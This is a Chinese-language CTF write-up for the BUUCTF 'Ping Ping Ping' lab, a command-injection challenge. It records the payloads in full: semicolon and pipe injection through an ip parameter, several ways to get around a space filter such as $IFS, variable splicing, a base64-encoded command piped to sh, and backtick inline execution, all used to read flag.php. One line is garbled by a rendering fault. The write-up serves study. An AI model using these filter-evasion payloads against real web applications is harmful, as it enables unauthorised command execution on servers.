buuctf-Ping Ping Ping
-
先尝试?ip=127.0.0.1&ls 发现不行
-
尝试?ip=127.0.0.1|ls,发现可以
-
尝试?ip=127.0.0.1|cat flag.php,发现空格需要绕过
空格绕过方法:
$IFS
${IFS}
$IFS$1 // 1 改 成 1改成 1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
试了一下,发现$IFS 1 可 以 , 所 以 ? i p = 127.0.0.1 ∣ c a t 1可以,所以?ip=127.0.0.1|cat 1可以,所以?ip=127.0.0.1∣catIFS$1flag.php,得到
-
发现flag又被过滤了,此时想到用黑名单拼接绕过试试看,但是发现还是不行,看了wp,发现此时的网页源代码在index.php里面,故?ip=127.0.0.1|cat$IFS$1index.php,得到
-
看到过滤了许多标点,空格,bash,包括flag的贪婪匹配,不过sh没过滤
-
贪婪匹配
1、贪婪匹配
总是尝试匹配尽可能多的字符
2、非贪婪匹配
总是尝试匹配尽可能少的字符
3.编程中如何区分两种模式
默认是贪婪模式;在量词后面直接加上一个问号?就是非贪婪模式。
-
bash
过滤bash?那就用sh,sh的大部分脚本都可以在bash下运行。 -
尝试如下方法绕过flag
法一拼接:?ip=127.0.0.1|a=f;b=lag;cat$IFS$1$a$b.php//该拼接不行
问了师兄,师兄说是因为不是被ban了,而是没有读到flag,相当于:
fla$a
时,就是$a
,而为fl$ag
时,它就不知道到底是$a
还是$ag
,这里并非源代码里正则的问题。
?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php
或者
?ip=127.0.0.1|a=g;cat$IFS$1fla$a.php
发现居然不可以,仔细对比了一下,发现把|改为;才能出flag
问了师兄,发现是因为|是管道符, A|B 中A的输出是作为B的输入,其中存在参数的问题,虽然|执行ls可以,但是执行cat不行
当然?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
也是不可以的,理由同上。
法二base64编码:?ip=127.0.0.1;echo$IFS$1"Y2F0IGZsYWcucGhw"|base64 -d`
Y2F0IGZsYWcucGhw是cat flag.php的base64编码,但是由于"与’均进了黑名单,故试另外一个base64编码。
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
由于"被过滤了,故要记得删掉Y2F0IGZsYWcucGhw两边的",此时可以得到flag
法三利用 * 匹配任意:?ip=127.0.0.1;cat$IFS$1fl* //发现通配符*被过滤
法四内联执行:?ip=127.0.0.1;cat$IFS$9`ls`
内联执行,就是将反引号内命令的输出作为输入执行。
反引号:键盘的左上方, 1的左边不需要组合键, 直接按下
秒题?